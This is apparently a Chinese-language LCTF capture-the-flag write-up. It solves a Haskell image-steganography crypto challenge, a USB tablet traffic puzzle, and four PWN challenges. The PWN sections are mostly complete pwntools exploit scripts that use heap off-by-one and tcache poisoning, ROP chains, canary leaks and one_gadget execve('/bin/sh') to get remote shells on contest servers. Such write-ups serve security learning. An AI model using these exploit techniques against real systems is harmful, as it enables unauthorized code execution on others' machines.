module Crypto (encryptoData) where
imports
initIV :: [Int]
initIV = [55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97]
initKey :: [Int]
initKey = [75,111,109,101,105,106,105,83,97,116,111,114,105]
blockLen :: Int
blockLen = 32
paddingData :: Int
paddingData = 5
-- 填充的内容为数字 5
paddingX :: Int -> a -> [a] -> [a]
paddingX n c d = d concat n * c
-- 填充
type Calc = State [Int] [Int]
xorKey :: [Int] -> Int -> Calc
xorKey key n = gets $ \iv ->
map (xor n) $ zipWith xor iv $
take (length iv) $ cycle key
-- 先 cycle key 然后取前 32 位,然后对 iv 与 key 逐位 xor
calcData :: Calc
calcData = do
y <- xorKey initKey 0x39
return $ map (xor 0xFF) y
-- xorKey 的结果再 xor 0x39 xor 0xff,即 xor 198
encryption :: [Int] -> [Int]
encryption d = evalState calcData d
-- 此函数作为 encodeBlock 的第一个参数传递,注意到 encodeBlock 里传给这个函数的参数为 iv,即 d 为 iv
-- 综合上边俩函数的分析,有 encryption = key .xor iv .xor 198
type DataBlock = Writer [Int] [Int]
initBlock :: [Int] -> DataBlock
initBlock iv = return iv
encodeBlock :: ([Int] -> [Int]) -> DataBlock -> [Int] -> DataBlock
encodeBlock f db msg = db >>= (\iv -> writer (f iv, zipWith xor msg $ f iv ))
-- encryption = cycle_key .xor IV .xor 198
-- 这里只是再 xor msg 然后写入原 list 而已
foldData :: [[Int]] -> DataBlock
foldData list = foldl (encodeBlock encryption) (initBlock initIV) list
setData :: [Int] -> [[Int]]
setData d = warpList blockLen $
paddingX (32 - len(d) % 32) paddingData d
-- pading n c d
-- 在原始数据的基础上,padding 到 32 整数倍,padding 内容为数字 5
-- 然后每 32 位分组,成为二维数组
encryptoData :: [Int] -> [Int]
encryptoData d = execWriter $ foldData $ setData d
-- 从右往左分别做填充,加密,并将加密的结果替换(写入)到原list
encryptoData
的加密结果是 (cycle_key .xor IV .xor 198) xor padded_message
现在的问题只剩下读懂 Image.hs
,看一下加密后的结果是怎么编码进图片的了:
-- Image.hs,伪代码
module Image (encodePicture) where
imports
type Px = (Int, Int)
bitX :: Int -> Int -> Int
bitX d n = shiftR d n .&. 0x01
splitData :: [Int] -> [Px]
splitData d = func <$> d <*> [6, 4, 2, 0]
where
func x y = (bitX x $ y + 1, bitX x y)
-- [(1,1),(1,1),(1,1),(1,1) --> 二进制, max=255]
data PxMatrix = PxMatrix {
pxLen :: Int,
pxEnd :: Int,
pxData :: [[Px]]
}
matrixData :: Image PixelRGB8 -> [Px] -> PxMatrix
matrixData img pxs = let d = warpList (imageWidth img) pxs
in PxMatrix (length d - 1) (length (last d) - 1) d
-- 按图片宽度对上边的二进制数对进行再次分组
matrixAt :: PxMatrix -> Int -> Int -> Px
matrixAt pm x y
| y > pxLen pm = (0,0)
| (y == pxLen pm) && (x > pxEnd pm) = (0,0)
| otherwise = (pxData pm) !! y !! x
-- 矩阵取下标
mixImage :: Image PixelRGB8 -> PxMatrix -> Image PixelRGB8
mixImage img pm = pixelMapXY func img
where
up n px = fromIntegral (xor n $ fromIntegral px)
func x y (PixelRGB8 r g b) = let (r',g') = matrixAt pm x y
in PixelRGB8 (up r' r) (up g' g) b
-- 在 R, G 通道搞事情,B 通道不变
-- R xor 二进制数对第一个数,G xor 第二个数
encodePicture :: FilePath -> FilePath -> [Int] -> IO ()
encodePicture ifp ofp d = readImage ifp >>= \e ->
case e of
Left msg -> putStrLn msg
Right dimg -> let img = convertRGB8 dimg in
writePng ofp $ mixImage img $
matrixData img $ splitData d
于是,exp:
from PIL import Image
import numpy as np
I = np.array(Image.open('input.png').convert('RGB'))
O = np.array(Image.open('output.png').convert('RGB'))
i_o_xor = (I ^ O)[:, :, :2]#.swapaxes(0, 1)
data = ''.join(np.where(i_o_xor.reshape(-1) == 1, '1', '0'))[:8*6400]
enc_mat = [int(data[i:i+8], base=2) for i in range(0,len(data),8)]
enc_mat = [enc_mat[i:i+32] for i in range(0, len(enc_mat), 32)]
IV = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])
key = np.array([75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106,105,83,97,116,111,114,105,75,111,109,101,105,106])
xor_mat1 = IV ^ key ^ 198
xor_mat2 = np.array([55,48,49,99,99,57,97,52,57,101,51,48,100,51,53,98,101,98,98,56,49,102,98,97,102,99,51,99,57,98,101,97])
# ''.join(list(map(chr, list(np.array([xor_mat2 ^ i for n, i in enumerate(enc_mat) if n % 2 else xor_mat1 ^ i]).reshape(-1)))))
plaintext = []
for n, i in enumerate(enc_mat):
if n % 2:
xmat = xor_mat2
else:
xmat = xor_mat1
plaintext.append(xmat ^ i)
print(''.join([''.join(map(chr, i)) for i in plaintext]))
刚开始写完 exp 发现只能解出一半的明文,估计是代码哪里读漏了。
发现明文 xor 的对象交替变换,改一下代码,得到明(歌)文(词),LCTF{GameAlwaysOver_TryAgain}
你会玩OSU!么?
从这里看应该不是数位板
看到 CTL-472 的字样,搜了一下好像是绘图板
看来不是鼠标,这个是我的g603,抓下来就是偏移很明显
exp:
data里是这样的数据:
from PIL import Image
img = Image.new("RGB",(0x380,0x300))
pixTuple = (255,0,255,15)
fp = open('data')
while True:
ch = fp.readline().strip('\n \r')
if not ch:
break
ch = ch.decode('hex')
print ch[2:4][::-1].encode('hex'),ch[4:6][::-1].encode('hex')
img.putpixel((int(ch[2:4][::-1].encode('hex'),16)/0x10,int(ch[4:6][::-1].encode('hex'),16)/0x10),pixTuple)
img.save("dump.png")
LCTF{OSU_1S_GUUUD}
PWN
easy heap
libc 2.27
malloc的时候,readn函数有null off by one
exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
# cn = process('./easy_heap')
cn = remote('0',10002)
bin = ELF('./easy_heap',checksec=False)
libc = ELF('./libc_2.27.so',checksec=False)
else:
cn = remote('118.25.150.134', 6666)
libc = ELF('./libc_2.27.so',checksec=False)
pass
def z(a=''):
if local:
gdb.attach('easyheap',gdbscript=a,exe='easy_heap')
if a == '':
raw_input()
def add(con,size):
cn.sendlineafter('>','1')
cn.sendlineafter('>',str(size))
cn.sendlineafter('>',con)
def dele(idx):
cn.sendlineafter('>','2')
cn.sendlineafter('>',str(idx))
def show(idx):
cn.sendlineafter('>','3')
cn.sendlineafter('>',str(idx))
for i in range(10):
add('asd',10)
dele(1) #1
for i in range(3,8):
dele(i) #2,6
dele(9)#7
dele(8) #small1
dele(2) #s2
dele(0) #s3
for i in range(7):
add('asd',10)
# now only 3 smallbin 0->2->8
add('',0) # 0
add('',0xf8) # 2 && null off by one
# now only 8 in tcache
for i in range(5):
dele(i) # tcache 2,6
dele(6) # tcache 7
dele(5) #small trigger unlink
for i in range(7):
add('asd',10)
show(8)
cn.recvuntil('> ')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x3ebc40-96
success('lbase: '+hex(lbase))
# raw_input()
freehook = lbase+libc.sym['__free_hook']
mallochook = lbase+libc.sym['__malloc_hook']
system = lbase+libc.sym['system']
one = lbase+0x10a38c
add('OOOO',10)
dele(7)
dele(8)
dele(9)
add(p64(mallochook),10)
add(p64(mallochook),10)
add(p64(one),10)
# z('b free\nb execve\nc')
dele(0) #hook
add('asd',0x10)
# z()
cn.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
pwn4fun
看着像个三国杀游戏。。。发现注册的地方如果可以注册满10次就能覆盖fl4g字符串,登录的时候可以溢出覆盖v3就能跑get_flag函数
游戏获胜有一个4字节的fmt,但游戏并不能胜利所以没啥用,一个思路是如何多次login,按照正常流程应该只有两次机会,到最后也没有发现有啥方法,应该是不行
注意下卡片的种类只有三种,p,a,g,而且在弃牌回合里有问题,第二个循环没检查下限。。。考虑了下可以把ag往前挪覆盖fl4g
首先不停重启找到一把合适的,即一步就可以直接有1 Attack 2 Guard这种情况的,然后首先保持自己不死(1血吃桃),尽量屯牌,敌人打你的时候不要防御就可以连续弃牌了,第一次随便弃牌,第二次输入-5
连续5次后就可以ctrl+C继续跑脚本,得到flag(当然也可以写脚本,思路差不多,先找AG,然后不要防守就行了,连续弃牌就行了)
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./sgs')
bin = ELF('./sgs')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('212.64.75.161',2333)
bin = ELF('./sgs')
#libc = ELF('')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline('')
cn.sendlineafter('sign (I)n or sign (U)p?','I')
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()
cn.sendline("I")
cn.sendlineafter('input your name','admin\x00aa')
cn.interactive()
echos
read 超长到末尾以后会返回-1,然后就能不断往前写
先帖一下本地exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./echos')
bin = ELF('./echos',checksec=False)
libc = ELF('./libc64.so',checksec=False)
else:
# cn = remote('172.81.214.122', 6666)
cn = remote('0',10003)
bin = ELF('./echos',checksec=False)
libc = ELF('./libc64.so',checksec=False)
pass
def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()
prdi=0x00000000004013c3
prsi_r15=0x00000000004013c1
gadget=0x00000000004013bd # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
readn=0x00000000004011A6
pay = '8000\x00\x00\x00\x00' #r12
pay+=p64(0)*3
pay+=p64(gadget) + p64(0x0000000000403440) #rsp
cn.sendlineafter('size',pay)
size=0x3c0
sleep(0.2)
pay = p64(0x00000000004013B6)+p64(0x0000000000401190)
pay = pay.ljust(0x440-size,'a')
pay+=p64(0)*3
pay+=p64(prdi)+p64(bin.got['read'])+p64(bin.plt['puts'])
pay+=p64(prdi)+p64(bin.got['exit'])+p64(prsi_r15)+p64(0x10)*2+p64(readn)
pay+=p64(prdi)+p64(0x4034b8)+p64(bin.plt['exit'])+'/bin/sh\x00'
pay = pay.ljust(0x1000-size,'a')[:-1]
pay+='\n'
cn.send(pay)
cn.recvuntil(':')
cn.recvuntil(':\n')
lbase = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['read']
success('lbase: '+hex(lbase))
system = libc.sym['system']+lbase
cn.sendline(p64(system))
cn.interactive()
LCTF{sw_1s_coooooool!}
just_pwn
exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
bin = ELF('./just_pwn_p',checksec=False)
cn2 = process('./just_pwn_p')
cn = process('./just_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
bin = ELF('./just_pwn_p',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
cn2 = process('./just_pwn_p')
cn = remote('118.25.148.66', 2333)
pass
def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()
# login
cn2.sendlineafter('it','1')
cn2.recvuntil(':\n')
token = cn2.recvuntil('\n')[:-1]
success(token)
cn2.close()
cn.sendlineafter('it','2')
cn.sendlineafter(':',token)
# canary
cn.sendlineafter('developer','3')
for i in range(10):
cn.sendlineafter('confirm','n')
# z('b read\nc')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*9)
cn.recvuntil('a'*9)
canary = u64('\x00'+cn.recv(7))
success('canary: '+hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack: '+hex(stack)) # offset +0x40
cn.sendlineafter('developer','3')
cn.sendlineafter('confirm','y')
cn.sendafter(':','a'*0x40)
cn.recvuntil('a'*0x40)
lbase = u64(cn.recv(6).ljust(8,'\x00'))-libc.sym['_IO_2_1_stdout_']
success('lbase: '+hex(lbase))
####################
# z('c')
cn.sendlineafter('developer','1')
cn.sendlineafter('?',str(0x20))
#content fake head
pay = p64(0)+p64(0x51)
cn.sendlineafter(':',pay)
# overflow to ptr
stack+=0x50
success('stack: '+hex(stack))
pay = 'W'*32+p64(stack+0x10)
cn.sendlineafter(':',pay)
one = lbase+0x45216
cn.sendlineafter('confirm','n')
cn.sendlineafter('confirm','y')
cn.sendlineafter('?',str(0x48))
pay = 'a'*0x18+p64(canary)+p64(0)*3+p64(one)
cn.sendlineafter(':',pay)
cn.sendlineafter(':','asd')
cn.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./just_pwn.bak')
p = process('./just_pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('118.25.148.66',2333)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
p.sendline('1')
p.recvuntil('These is your secretcode:\n')
s = p.recvline()
p.close()
cn.sendline('2')
cn.send(s)
cn.sendline('3')
for i in range(5):
cn.sendline('n')
cn.sendline('y')
cn.sendlineafter('software:','a'*8)
cn.recvuntil('aaaaaaaa\n')
canary = u64(cn.recv(7).rjust(8,'\x00'))
success('canary:' + hex(canary))
stack = u64(cn.recv(6).ljust(8,'\x00'))
success('stack:' + hex(stack))
cn.sendline('3')
cn.sendline('y')
cn.sendline('a' * 0x7)
cn.recvuntil('a' *0x7 + '\n')
lbase = u64(cn.recv(6).ljust(8,'\x00'))-0x78BFF
success('lbase:' + hex(lbase))
cn.sendline('1')
cn.sendlineafter('How long is your message?','32')
buf = '\x00'*0x10
buf+= p64(0) + p64(0x81)[:-1]
cn.sendafter('message:',buf)
buf = p64(0x11)
buf+= p64(0) + p64(0x11)
buf+= p64(0) + p64(stack+0x70)
cn.sendafter('title of your message:',buf)
cn.sendafter('y to confirm','n')
cn.sendafter('y to confirm','y')
cn.sendlineafter('How long',str(0x78))
one = lbase + 0xf02a4
buf = p64(0) + p64(canary) + '\x00' * 0x10
buf+= 'b' * 8 + p64(one)
cn.sendlineafter('message:',buf)
print(hex(one))
cn.sendlineafter('message:','aaa')
cn.interactive()
#guest_account:0004;guestname:user
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''